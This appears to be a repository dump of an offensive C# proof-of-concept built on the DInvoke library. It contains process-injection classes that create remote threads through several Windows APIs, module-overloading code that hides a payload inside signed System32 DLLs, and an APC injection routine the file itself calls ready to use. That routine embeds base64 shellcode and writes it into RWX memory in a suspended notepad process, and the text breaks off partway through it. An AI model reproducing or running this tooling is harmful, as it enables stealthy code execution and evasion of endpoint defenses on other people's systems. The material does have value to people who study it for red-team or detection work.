| public static SectionDetails MapSection(IntPtr procHandle, IntPtr sectionHandle, uint protection, IntPtr addr, ulong sizeData) 241 | { 242 | // Copied so that they may be passed by reference but the original value preserved 243 | IntPtr baseAddr = addr; 244 | ulong size = sizeData; 245 | 246 | uint disp = 2; 247 | uint alloc = 0; 248 | 249 | // Returns an NTSTATUS value 250 | Data.Native.NTSTATUS result = DynamicInvoke.Native.NtMapViewOfSection( 251 | sectionHandle, procHandle, 252 | ref baseAddr, 253 | IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 254 | ref size, disp, alloc, 255 | protection 256 | ); 257 | 258 | // Create a struct to hold the results. 259 | SectionDetails details = new SectionDetails(baseAddr, sizeData); 260 | 261 | return details; 262 | } 263 | 264 | 265 | /// 266 | /// Holds the data returned from NtMapViewOfSection. 267 | /// 268 | public struct SectionDetails 269 | { 270 | public IntPtr baseAddr; 271 | public ulong size; 272 | 273 | public SectionDetails(IntPtr addr, ulong sizeData) 274 | { 275 | baseAddr = addr; 276 | size = sizeData; 277 | } 278 | } 279 | 280 | /// 281 | /// Unmaps a view of a section from a process. 282 | /// 283 | /// The Wover (@TheRealWover) 284 | /// Process to which the view has been mapped. 285 | /// Address of the view (relative to the target process) 286 | /// 287 | public static Data.Native.NTSTATUS UnmapSection(IntPtr hProc, IntPtr baseAddr) 288 | { 289 | return DynamicInvoke.Native.NtUnmapViewOfSection(hProc, baseAddr); 290 | } 291 | } 292 | } 293 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/Injection/Execution.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Linq; 3 | using System.Reflection; 4 | using System.Diagnostics; 5 | 6 | using DynamicInvoke = DInvoke.DynamicInvoke; 7 | 8 | namespace DInvoke.Injection 9 | { 10 | /// 11 | /// Base class for Injection strategies. 12 | /// 13 | public abstract class ExecutionTechnique 14 | { 15 | 16 | //An array containing a set of PayloadType objects that are supported. 17 | protected Type[] supportedPayloads; 18 | 19 | /// 20 | /// Informs objects using this technique whether or not it supports the type of a particular payload. 21 | /// 22 | /// The Wover (@TheRealWover) 23 | /// A payload. 24 | /// Whether or not the payload is of a supported type for this strategy. 25 | public abstract bool IsSupportedPayloadType(PayloadType payload); 26 | 27 | /// 28 | /// Internal method for setting the supported payload types. Used in constructors. 29 | /// 30 | /// The Wover (@TheRealWover) 31 | abstract internal void DefineSupportedPayloadTypes(); 32 | 33 | /// 34 | /// Inject and execute a payload in the target process using a specific allocation technique. 35 | /// 36 | /// The Wover (@TheRealWover) 37 | /// The type of payload to execute. 38 | /// The allocation technique to use. 39 | /// The target process. 40 | /// bool 41 | public bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique, Process Process) 42 | { 43 | Type[] funcPrototype = new Type[] { Payload.GetType(), AllocationTechnique.GetType(), Process.GetType()}; 44 | 45 | try 46 | { 47 | // Get delegate to the overload of Inject that supports the type of payload passed in 48 | MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype); 49 | 50 | // Dynamically invoke the appropriate Allocate overload 51 | return (bool)inject.Invoke(this, new object[] { Payload, AllocationTechnique, Process }); 52 | } 53 | // If there is no such method 54 | catch (ArgumentNullException) 55 | { 56 | throw new PayloadTypeNotSupported(Payload.GetType()); 57 | } 58 | } 59 | 60 | /// 61 | /// Execute a payload in the target process at a specified address. 62 | /// 63 | /// The Wover (@TheRealWover) 64 | /// The type of payload to execute. 65 | /// The base address of the payload. 66 | /// The target process. 67 | /// bool 68 | public virtual bool Inject(PayloadType Payload, IntPtr BaseAddress, Process Process) 69 | { 70 | Type[] funcPrototype = new Type[] { Payload.GetType(), BaseAddress.GetType(), Process.GetType() }; 71 | 72 | try 73 | { 74 | // Get delegate to the overload of Inject that supports the type of payload passed in 75 | MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype); 76 | 77 | // Dynamically invoke the appropriate Allocate overload 78 | return (bool)inject.Invoke(this, new object[] { Payload, BaseAddress, Process }); 79 | } 80 | // If there is no such method 81 | catch (ArgumentNullException) 82 | { 83 | throw new PayloadTypeNotSupported(Payload.GetType()); 84 | } 85 | } 86 | 87 | /// 88 | /// Execute a payload in the current process using a specific allocation technique. 89 | /// 90 | /// The Wover (@TheRealWover) 91 | /// The type of payload to execute. 92 | /// The allocation technique to use. 93 | /// 94 | public virtual bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique) 95 | { 96 | Type[] funcPrototype = new Type[] { Payload.GetType(), AllocationTechnique.GetType()}; 97 | 98 | try 99 | { 100 | // Get delegate to the overload of Inject that supports the type of payload passed in 101 | MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype); 102 | 103 | // Dynamically invoke the appropriate Allocate overload 104 | return (bool)inject.Invoke(this, new object[] { Payload, AllocationTechnique }); 105 | } 106 | // If there is no such method 107 | catch (ArgumentNullException) 108 | { 109 | throw new PayloadTypeNotSupported(Payload.GetType()); 110 | } 111 | } 112 | } 113 | 114 | 115 | /// 116 | /// Executes a payload in a remote process by creating a new thread. Allows the user to specify which API call to use for remote thread creation. 117 | /// 118 | public class RemoteThreadCreate : ExecutionTechnique 119 | { 120 | // Publically accessible options 121 | public bool suspended = false; 122 | public APIS api = APIS.NtCreateThreadEx; 123 | 124 | public enum APIS : int 125 | { 126 | NtCreateThreadEx = 0, 127 | // NtCreateThread = 1, // Not implemented 128 | RtlCreateUserThread = 2, 129 | CreateRemoteThread = 3 130 | }; 131 | 132 | // Handle of the new thread. Only valid after the thread has been created. 133 | public IntPtr handle = IntPtr.Zero; 134 | 135 | /// 136 | /// Default constructor. 137 | /// 138 | public RemoteThreadCreate() 139 | { 140 | DefineSupportedPayloadTypes(); 141 | } 142 | 143 | /// 144 | /// Constructor allowing options as arguments. 145 | /// 146 | public RemoteThreadCreate(bool susp = false, APIS varAPI = APIS.NtCreateThreadEx) 147 | { 148 | DefineSupportedPayloadTypes(); 149 | suspended = susp; 150 | api = varAPI; 151 | } 152 | 153 | /// 154 | /// States whether the payload is supported. 155 | /// 156 | /// The Wover (@TheRealWover) 157 | /// Payload that will be allocated. 158 | /// 159 | public override bool IsSupportedPayloadType(PayloadType Payload) 160 | { 161 | return supportedPayloads.Contains(Payload.GetType()); 162 | } 163 | 164 | /// 165 | /// Internal method for setting the supported payload types. Used in constructors. 166 | /// Update when new types of payloads are added. 167 | /// 168 | /// The Wover (@TheRealWover) 169 | internal override void DefineSupportedPayloadTypes() 170 | { 171 | // Defines the set of supported payload types. 172 | supportedPayloads = new Type[] { 173 | typeof(PICPayload) 174 | }; 175 | } 176 | 177 | public bool Inject(PICPayload Payload, AllocationTechnique AllocationTechnique, Process Process) 178 | { 179 | IntPtr baseAddr = AllocationTechnique.Allocate(Payload, Process); 180 | return Inject(Payload, baseAddr, Process); 181 | } 182 | 183 | /// 184 | /// Create a thread in the remote process. 185 | /// 186 | /// The Wover (@TheRealWover) 187 | /// The shellcode payload to execute in the target process. 188 | /// The address of the shellcode in the target process. 189 | /// The target process to inject into. 190 | /// 191 | public bool Inject(PICPayload Payload, IntPtr BaseAddress, Process Process) 192 | { 193 | IntPtr threadHandle = new IntPtr(); 194 | Data.Native.NTSTATUS result = Data.Native.NTSTATUS.Unsuccessful; 195 | 196 | if (api == APIS.NtCreateThreadEx) 197 | { 198 | // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process. 199 | result = DynamicInvoke.Native.NtCreateThreadEx( 200 | ref threadHandle, 201 | Data.Win32.WinNT.ACCESS_MASK.SPECIFIC_RIGHTS_ALL | Data.Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL, 202 | IntPtr.Zero, 203 | Process.Handle, BaseAddress, IntPtr.Zero, 204 | suspended, 0, 0, 0, IntPtr.Zero 205 | ); 206 | } 207 | else if (api == APIS.RtlCreateUserThread) 208 | { 209 | // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process. 210 | result = DynamicInvoke.Native.RtlCreateUserThread( 211 | Process.Handle, 212 | IntPtr.Zero, 213 | suspended, 214 | IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 215 | BaseAddress, 216 | IntPtr.Zero, ref threadHandle, IntPtr.Zero 217 | ); 218 | } 219 | else if (api == APIS.CreateRemoteThread) 220 | { 221 | uint flags = suspended ? (uint)0x00000004 : 0; 222 | IntPtr threadid = new IntPtr(); 223 | 224 | // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process. 225 | threadHandle = DynamicInvoke.Win32.CreateRemoteThread( 226 | Process.Handle, 227 | IntPtr.Zero, 228 | 0, 229 | BaseAddress, 230 | IntPtr.Zero, 231 | flags, 232 | ref threadid 233 | ); 234 | 235 | if (threadHandle == IntPtr.Zero) 236 | { 237 | return false; 238 | } 239 | handle = threadHandle; 240 | return true; 241 | } 242 | 243 | // If successful, return the handle to the new thread. Otherwise return NULL 244 | if (result != Data.Native.NTSTATUS.Success) 245 | { 246 | return false; 247 | } 248 | handle = threadHandle; 249 | return true; 250 | } 251 | } 252 | } 253 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/Injection/Execution.cs.orig: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Linq; 3 | using System.Reflection; 4 | using System.Diagnostics; 5 | 6 | using DynamicInvoke = DInvoke.DynamicInvoke; 7 | 8 | namespace DInvoke.Injection 9 | { 10 | /// 11 | /// Base class for Injection strategies. 12 | /// 13 | public abstract class ExecutionTechnique 14 | { 15 | 16 | //An array containing a set of PayloadType objects that are supported. 17 | protected Type[] supportedPayloads; 18 | 19 | /// 20 | /// Informs objects using this technique whether or not it supports the type of a particular payload. 21 | /// 22 | /// The Wover (@TheRealWover) 23 | /// A payload. 24 | /// Whether or not the payload is of a supported type for this strategy. 25 | public abstract bool IsSupportedPayloadType(PayloadType payload); 26 | 27 | /// 28 | /// Internal method for setting the supported payload types. Used in constructors. 29 | /// 30 | /// The Wover (@TheRealWover) 31 | abstract internal void DefineSupportedPayloadTypes(); 32 | 33 | /// 34 | /// Inject and execute a payload in the target process using a specific allocation technique. 35 | /// 36 | /// The Wover (@TheRealWover) 37 | /// The type of payload to execute. 38 | /// The allocation technique to use. 39 | /// The target process. 40 | /// bool 41 | public bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique, Process Process) 42 | { 43 | Type[] funcPrototype = new Type[] { Payload.GetType(), AllocationTechnique.GetType(), Process.GetType()}; 44 | 45 | try 46 | { 47 | // Get delegate to the overload of Inject that supports the type of payload passed in 48 | MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype); 49 | 50 | // Dynamically invoke the appropriate Allocate overload 51 | return (bool)inject.Invoke(this, new object[] { Payload, AllocationTechnique, Process }); 52 | } 53 | // If there is no such method 54 | catch (ArgumentNullException) 55 | { 56 | throw new PayloadTypeNotSupported(Payload.GetType()); 57 | } 58 | } 59 | 60 | /// 61 | /// Execute a payload in the target process at a specified address. 62 | /// 63 | /// The Wover (@TheRealWover) 64 | /// The type of payload to execute. 65 | /// The base address of the payload. 66 | /// The target process. 67 | /// bool 68 | public virtual bool Inject(PayloadType Payload, IntPtr BaseAddress, Process Process) 69 | { 70 | Type[] funcPrototype = new Type[] { Payload.GetType(), BaseAddress.GetType(), Process.GetType() }; 71 | 72 | try 73 | { 74 | // Get delegate to the overload of Inject that supports the type of payload passed in 75 | MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype); 76 | 77 | // Dynamically invoke the appropriate Allocate overload 78 | return (bool)inject.Invoke(this, new object[] { Payload, BaseAddress, Process }); 79 | } 80 | // If there is no such method 81 | catch (ArgumentNullException) 82 | { 83 | throw new PayloadTypeNotSupported(Payload.GetType()); 84 | } 85 | } 86 | 87 | /// 88 | /// Execute a payload in the current process using a specific allocation technique. 89 | /// 90 | /// The Wover (@TheRealWover) 91 | /// The type of payload to execute. 92 | /// The allocation technique to use. 93 | /// 94 | public virtual bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique) 95 | { 96 | Type[] funcPrototype = new Type[] { Payload.GetType(), AllocationTechnique.GetType()}; 97 | 98 | try 99 | { 100 | // Get delegate to the overload of Inject that supports the type of payload passed in 101 | MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype); 102 | 103 | // Dynamically invoke the appropriate Allocate overload 104 | return (bool)inject.Invoke(this, new object[] { Payload, AllocationTechnique }); 105 | } 106 | // If there is no such method 107 | catch (ArgumentNullException) 108 | { 109 | throw new PayloadTypeNotSupported(Payload.GetType()); 110 | } 111 | } 112 | } 113 | 114 | 115 | /// 116 | /// Executes a payload in a remote process by creating a new thread. Allows the user to specify which API call to use for remote thread creation. 117 | /// 118 | public class RemoteThreadCreate : ExecutionTechnique 119 | { 120 | // Publically accessible options 121 | public bool suspended = false; 122 | public APIS api = APIS.NtCreateThreadEx; 123 | 124 | public enum APIS : int 125 | { 126 | NtCreateThreadEx = 0, 127 | // NtCreateThread = 1, // Not implemented 128 | RtlCreateUserThread = 2, 129 | CreateRemoteThread = 3 130 | }; 131 | 132 | // Handle of the new thread. Only valid after the thread has been created. 133 | public IntPtr handle = IntPtr.Zero; 134 | 135 | /// 136 | /// Default constructor. 137 | /// 138 | public RemoteThreadCreate() 139 | { 140 | DefineSupportedPayloadTypes(); 141 | } 142 | 143 | /// 144 | /// Constructor allowing options as arguments. 145 | /// 146 | public RemoteThreadCreate(bool susp = false, APIS varAPI = APIS.NtCreateThreadEx) 147 | { 148 | DefineSupportedPayloadTypes(); 149 | suspended = susp; 150 | api = varAPI; 151 | } 152 | 153 | /// 154 | /// States whether the payload is supported. 155 | /// 156 | /// The Wover (@TheRealWover) 157 | /// Payload that will be allocated. 158 | /// 159 | public override bool IsSupportedPayloadType(PayloadType Payload) 160 | { 161 | return supportedPayloads.Contains(Payload.GetType()); 162 | } 163 | 164 | /// 165 | /// Internal method for setting the supported payload types. Used in constructors. 166 | /// Update when new types of payloads are added. 167 | /// 168 | /// The Wover (@TheRealWover) 169 | internal override void DefineSupportedPayloadTypes() 170 | { 171 | // Defines the set of supported payload types. 172 | supportedPayloads = new Type[] { 173 | typeof(PICPayload) 174 | }; 175 | } 176 | 177 | public bool Inject(PICPayload Payload, AllocationTechnique AllocationTechnique, Process Process) 178 | { 179 | IntPtr baseAddr = AllocationTechnique.Allocate(Payload, Process); 180 | return Inject(Payload, baseAddr, Process); 181 | } 182 | 183 | /// 184 | /// Create a thread in the remote process. 185 | /// 186 | /// The Wover (@TheRealWover) 187 | /// The shellcode payload to execute in the target process. 188 | /// The address of the shellcode in the target process. 189 | /// The target process to inject into. 190 | /// 191 | public bool Inject(PICPayload Payload, IntPtr BaseAddress, Process Process) 192 | { 193 | IntPtr threadHandle = new IntPtr(); 194 | Data.Native.NTSTATUS result = Data.Native.NTSTATUS.Unsuccessful; 195 | 196 | if (api == APIS.NtCreateThreadEx) 197 | { 198 | // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process. 199 | result = DynamicInvoke.Native.NtCreateThreadEx( 200 | ref threadHandle, 201 | Data.Win32.WinNT.ACCESS_MASK.SPECIFIC_RIGHTS_ALL | Data.Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL, 202 | IntPtr.Zero, 203 | Process.Handle, BaseAddress, IntPtr.Zero, 204 | suspended, 0, 0, 0, IntPtr.Zero 205 | ); 206 | } 207 | else if (api == APIS.RtlCreateUserThread) 208 | { 209 | // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process. 210 | result = DynamicInvoke.Native.RtlCreateUserThread( 211 | Process.Handle, 212 | IntPtr.Zero, 213 | suspended, 214 | IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 215 | BaseAddress, 216 | IntPtr.Zero, ref threadHandle, IntPtr.Zero 217 | ); 218 | } 219 | else if (api == APIS.CreateRemoteThread) 220 | { 221 | uint flags = suspended ? (uint)0x00000004 : 0; 222 | IntPtr threadid = new IntPtr(); 223 | 224 | // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process. 225 | threadHandle = DynamicInvoke.Win32.CreateRemoteThread( 226 | Process.Handle, 227 | IntPtr.Zero, 228 | 0, 229 | BaseAddress, 230 | IntPtr.Zero, 231 | flags, 232 | ref threadid 233 | ); 234 | 235 | if (threadHandle == IntPtr.Zero) 236 | { 237 | return false; 238 | } 239 | handle = threadHandle; 240 | return true; 241 | } 242 | 243 | // If successful, return the handle to the new thread. Otherwise return NULL 244 | if (result != Data.Native.NTSTATUS.Success) 245 | { 246 | return false; 247 | } 248 | handle = threadHandle; 249 | return true; 250 | } 251 | } 252 | } 253 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/Injection/Injector.cs: -------------------------------------------------------------------------------- 1 | using System.Diagnostics; 2 | 3 | using DynamicInvoke = DInvoke.DynamicInvoke; 4 | 5 | namespace DInvoke.Injection 6 | { 7 | /// 8 | /// Provides static functions for performing injection using a combination of Allocation and Execution components. 9 | /// 10 | /// The Wover (@TheRealWover) 11 | public static class Injector 12 | { 13 | /// 14 | /// Inject a payload into a target process using a specified allocation and execution technique. 15 | /// 16 | /// The Wover (@TheRealWover) 17 | /// 18 | /// 19 | /// 20 | /// 21 | /// 22 | public static bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique, ExecutionTechnique ExecutionTechnique, Process Process) 23 | { 24 | return ExecutionTechnique.Inject(Payload, AllocationTechnique, Process); 25 | } 26 | 27 | /// 28 | /// Inject a payload into the current process using a specified allocation and execution technique. 29 | /// 30 | /// 31 | /// 32 | /// 33 | /// 34 | public static bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique, ExecutionTechnique ExecutionTechnique) 35 | { 36 | return ExecutionTechnique.Inject(Payload, AllocationTechnique); 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/Injection/Payload.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | using DynamicInvoke = DInvoke.DynamicInvoke; 4 | 5 | namespace DInvoke.Injection 6 | { 7 | /// 8 | /// Base class for all types of payloads. 9 | /// Variants are responsible for specifying what types of payloads they support. 10 | /// 11 | /// The Wover (@TheRealWover) 12 | public abstract class PayloadType 13 | { 14 | public byte[] Payload { get; private set; } 15 | 16 | // Constructor that requires the user to pass in the payload as a byte array. 17 | protected PayloadType(byte[] data) 18 | { 19 | Payload = data; 20 | } 21 | } 22 | 23 | /// 24 | /// Represents payloads that are position-independent-code. 25 | /// 26 | /// The Wover (@TheRealWover) 27 | public class PICPayload : PayloadType 28 | { 29 | // Declares the constructor as equivalent to that of the base class. 30 | public PICPayload(byte[] data) : base(data) { } 31 | } 32 | 33 | /// 34 | /// Exception thrown when the type of a payload is not supported by a injection variant. 35 | /// 36 | /// The Wover (@TheRealWover) 37 | public class PayloadTypeNotSupported : Exception 38 | { 39 | public PayloadTypeNotSupported() { } 40 | 41 | public PayloadTypeNotSupported(Type payloadType) : base(string.Format("Unsupported Payload type: {0}", payloadType.Name)) { } 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/ManualMap/Overload.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Diagnostics; 4 | using System.IO; 5 | using System.Linq; 6 | 7 | using Data = DInvoke.Data; 8 | using Utilities = DInvoke.Utilities; 9 | using DynamicInvoke = DInvoke.DynamicInvoke; 10 | 11 | namespace DInvoke.ManualMap 12 | { 13 | public class Overload 14 | { 15 | /// 16 | /// Locate a signed module with a minimum size which can be used for overloading. 17 | /// 18 | /// The Wover (@TheRealWover) 19 | /// Minimum module byte size. 20 | /// Whether to require that the module be legitimately signed. 21 | /// 22 | /// String, the full path for the candidate module if one is found, or an empty string if one is not found. 23 | /// 24 | public static string FindDecoyModule(long MinSize, bool LegitSigned = true) 25 | { 26 | string SystemDirectoryPath = Environment.GetEnvironmentVariable("WINDIR") + Path.DirectorySeparatorChar + "System32"; 27 | List files = new List(Directory.GetFiles(SystemDirectoryPath, "*.dll")); 28 | foreach (ProcessModule Module in Process.GetCurrentProcess().Modules) 29 | { 30 | if (files.Any(s => s.Equals(Module.FileName, StringComparison.OrdinalIgnoreCase))) 31 | { 32 | files.RemoveAt(files.FindIndex(x => x.Equals(Module.FileName, StringComparison.OrdinalIgnoreCase))); 33 | } 34 | } 35 | 36 | //Pick a random candidate that meets the requirements 37 | 38 | Random r = new Random(); 39 | //List of candidates that have been considered and rejected 40 | List candidates = new List(); 41 | while (candidates.Count != files.Count) 42 | { 43 | //Iterate through the list of files randomly 44 | int rInt = r.Next(0, files.Count); 45 | string currentCandidate = files[rInt]; 46 | 47 | //Check that the size of the module meets requirements 48 | if (candidates.Contains(rInt) == false && 49 | new FileInfo(currentCandidate).Length >= MinSize) 50 | { 51 | //Check that the module meets signing requirements 52 | if (LegitSigned == true) 53 | { 54 | if (Utilities.Utilities.FileHasValidSignature(currentCandidate) == true) 55 | return currentCandidate; 56 | else 57 | candidates.Add(rInt); 58 | } 59 | else 60 | return currentCandidate; 61 | } 62 | candidates.Add(rInt); 63 | } 64 | return string.Empty; 65 | } 66 | 67 | /// 68 | /// Load a signed decoy module into memory, creating legitimate file-backed memory sections within the process. Afterwards overload that 69 | /// module by manually mapping a payload in it's place causing the payload to execute from what appears to be file-backed memory. 70 | /// 71 | /// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec) 72 | /// Full path to the payload module on disk. 73 | /// Optional, full path the decoy module to overload in memory. 74 | /// PE.PE_MANUAL_MAP 75 | public static Data.PE.PE_MANUAL_MAP OverloadModule(string PayloadPath, string DecoyModulePath = null, bool LegitSigned = true) 76 | { 77 | // Get approximate size of Payload 78 | if (!File.Exists(PayloadPath)) 79 | { 80 | throw new InvalidOperationException("Payload filepath not found."); 81 | } 82 | byte[] Payload = File.ReadAllBytes(PayloadPath); 83 | 84 | return OverloadModule(Payload, DecoyModulePath, LegitSigned); 85 | } 86 | 87 | /// 88 | /// Load a signed decoy module into memory creating legitimate file-backed memory sections within the process. Afterwards overload that 89 | /// module by manually mapping a payload in it's place causing the payload to execute from what appears to be file-backed memory. 90 | /// 91 | /// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec) 92 | /// Full byte array for the payload module. 93 | /// Optional, full path the decoy module to overload in memory. 94 | /// PE.PE_MANUAL_MAP 95 | public static Data.PE.PE_MANUAL_MAP OverloadModule(byte[] Payload, string DecoyModulePath = null, bool LegitSigned = true) 96 | { 97 | // Did we get a DecoyModule? 98 | if (!string.IsNullOrEmpty(DecoyModulePath)) 99 | { 100 | if (!File.Exists(DecoyModulePath)) 101 | { 102 | throw new InvalidOperationException("Decoy filepath not found."); 103 | } 104 | byte[] DecoyFileBytes = File.ReadAllBytes(DecoyModulePath); 105 | if (DecoyFileBytes.Length < Payload.Length) 106 | { 107 | throw new InvalidOperationException("Decoy module is too small to host the payload."); 108 | } 109 | } 110 | else 111 | { 112 | DecoyModulePath = FindDecoyModule(Payload.Length); 113 | if (string.IsNullOrEmpty(DecoyModulePath)) 114 | { 115 | throw new InvalidOperationException("Failed to find suitable decoy module."); 116 | } 117 | } 118 | 119 | // Map decoy from disk 120 | Data.PE.PE_MANUAL_MAP DecoyMetaData = Map.MapModuleFromDiskToSection(DecoyModulePath); 121 | IntPtr RegionSize = DecoyMetaData.PEINFO.Is32Bit ? (IntPtr)DecoyMetaData.PEINFO.OptHeader32.SizeOfImage : (IntPtr)DecoyMetaData.PEINFO.OptHeader64.SizeOfImage; 122 | 123 | // Change permissions to RW 124 | DynamicInvoke.Native.NtProtectVirtualMemory((IntPtr)(-1), ref DecoyMetaData.ModuleBase, ref RegionSize, Data.Win32.WinNT.PAGE_READWRITE); 125 | 126 | // Zero out memory 127 | DynamicInvoke.Native.RtlZeroMemory(DecoyMetaData.ModuleBase, (int)RegionSize); 128 | 129 | // Overload module in memory 130 | Data.PE.PE_MANUAL_MAP OverloadedModuleMetaData = Map.MapModuleToMemory(Payload, DecoyMetaData.ModuleBase); 131 | OverloadedModuleMetaData.DecoyModule = DecoyModulePath; 132 | 133 | return OverloadedModuleMetaData; 134 | } 135 | } 136 | } 137 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/NoSpoofApproach.cs.orig: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.ComponentModel; 3 | using System.Diagnostics; 4 | using System.Net.Configuration; 5 | using System.Reflection; 6 | using System.Runtime.InteropServices; 7 | using System.Threading; 8 | using DInvoke.Data; 9 | using DInvoke.DynamicInvoke; 10 | using Native = DInvoke.Data.Native; 11 | using Win32 = DInvoke.Data.Win32; 12 | 13 | namespace Dinvoke 14 | { 15 | 16 | public class TestQueueUserAPC 17 | { 18 | [DllImport("kernel32.dll")] 19 | public static extern bool CreateProcess( 20 | string lpApplicationName, 21 | string lpCommandLine, 22 | ref DInvoke.Data.Win32.WinBase._SECURITY_ATTRIBUTES lpProcessAttributes, 23 | ref DInvoke.Data.Win32.WinBase._SECURITY_ATTRIBUTES lpThreadAttributes, 24 | bool bInheritHandles, 25 | DInvoke.Data.Win32.Advapi32.CREATION_FLAGS dwCreationFlags, 26 | IntPtr lpEnvironment, 27 | string lpCurrentDirectory, 28 | ref Win32.WinNT.ProcessThreadsAPI._STARTUPINFO lpStartupInfo, 29 | out Win32.WinNT.ProcessThreadsAPI._PROCESS_INFORMATION lpProcessInformation); 30 | static void BackupMain(string[] args) 31 | { 32 | /// This code is ready to use; make sure you change the pid to that of a running process (notepad.exe, explorer.exe, cmd.exe etc) 33 | 34 | //create process 35 | //allocate 36 | //write 37 | //protect 38 | //open thread 39 | //queue 40 | //resume 41 | 42 | var pa = new DInvoke.Data.Win32.WinBase._SECURITY_ATTRIBUTES(); 43 | pa.nLength = (uint)Marshal.SizeOf(pa); 44 | 45 | var ta = new DInvoke.Data.Win32.WinBase._SECURITY_ATTRIBUTES(); 46 | ta.nLength = (uint)Marshal.SizeOf(ta); 47 | 48 | var si = new Win32.WinNT.ProcessThreadsAPI._STARTUPINFO(); 49 | 50 | // [+] CreateProcess(processImage,Arguments,processAttributes,ThreadAttributes, 51 | 52 | var createResult = (CreateProcess(null, 53 | @"C:\Windows\System32\notepad.exe", 54 | ref pa, ref ta, 55 | false, DInvoke.Data.Win32.Advapi32.CREATION_FLAGS.CREATE_SUSPENDED, 56 | IntPtr.Zero, null, ref si, out var pi)); 57 | 58 | Console.WriteLine("NtAllocateVirtualMemory"); 59 | Console.WriteLine(" | -> NTSTATUS: {0}", createResult); 60 | Console.WriteLine(" | -> pi: {0}", pi); 61 | 62 | // ALLOCATE MEMORY 63 | var shellcodeRaw = 64 | "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA"; 65 | var shellcodeBytes = Convert.FromBase64String(shellcodeRaw); 66 | 67 | var hProcess = pi.hProcess; 68 | var baseAddress = IntPtr.Zero; 69 | var regionSize = new IntPtr(shellcodeBytes.Length); 70 | 71 | const Win32.WinNT.MEMORY_ALLOCATION allocation = Win32.WinNT.MEMORY_ALLOCATION.MEM_COMMIT 72 | | Win32.WinNT.MEMORY_ALLOCATION.MEM_RESERVE; 73 | 74 | var allocParameters = new object[] 75 | { 76 | hProcess, baseAddress, IntPtr.Zero, regionSize, 77 | (uint) allocation, Win32.WinNT.PAGE_EXECUTE_READWRITE 78 | }; 79 | 80 | var allocStatus = (Native.NTSTATUS)Generic.DynamicAPIInvoke("ntdll.dll", "NtAllocateVirtualMemory", 81 | typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtAllocateVirtualMemory), ref allocParameters); 82 | 83 | if (allocStatus == Native.NTSTATUS.Success) 84 | baseAddress = (IntPtr)allocParameters[1]; 85 | 86 | Console.WriteLine("NtAllocateVirtualMemory"); 87 | Console.WriteLine(" | -> NTSTATUS: {0}", allocStatus); 88 | Console.WriteLine(" | -> basedAddress: 0x{0:X}", baseAddress.ToInt64()); 89 | 90 | 91 | 92 | // WRITE MEMORY 93 | var buf = Marshal.AllocHGlobal(shellcodeBytes.Length); 94 | Marshal.Copy(shellcodeBytes, 0, buf, shellcodeBytes.Length); 95 | uint bytesWritten = 0; 96 | var writeParameters = new object[] 97 | { 98 | hProcess, baseAddress, buf, (UInt32) shellcodeBytes.Length, bytesWritten 99 | }; 100 | var writeStatus = (Native.NTSTATUS)Generic.DynamicAPIInvoke("ntdll.dll", "NtWriteVirtualMemory", 101 | typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtWriteVirtualMemory), ref writeParameters); 102 | 103 | if (writeStatus == Native.NTSTATUS.Success) 104 | bytesWritten = (uint)writeParameters[4]; 105 | 106 | Console.WriteLine("NtWriteVirtualMemory"); 107 | Console.WriteLine(" | -> Data Length: {0}", shellcodeBytes.Length); 108 | Console.WriteLine(" | -> NTSTATUS: {0}", writeStatus); 109 | Console.WriteLine(" | -> Bytes Written: {0}", bytesWritten); 110 | 111 | // READ/EXECUTE 112 | var newProtect = Win32.WinNT.MEMORY_PROTECTION.PAGE_EXECUTE_READ; 113 | var oldProtect = (Win32.WinNT.MEMORY_PROTECTION)0; 114 | 115 | var protectParameters = new object[] 116 | { 117 | hProcess, baseAddress, regionSize, 118 | (uint) newProtect, (uint) oldProtect 119 | }; 120 | var 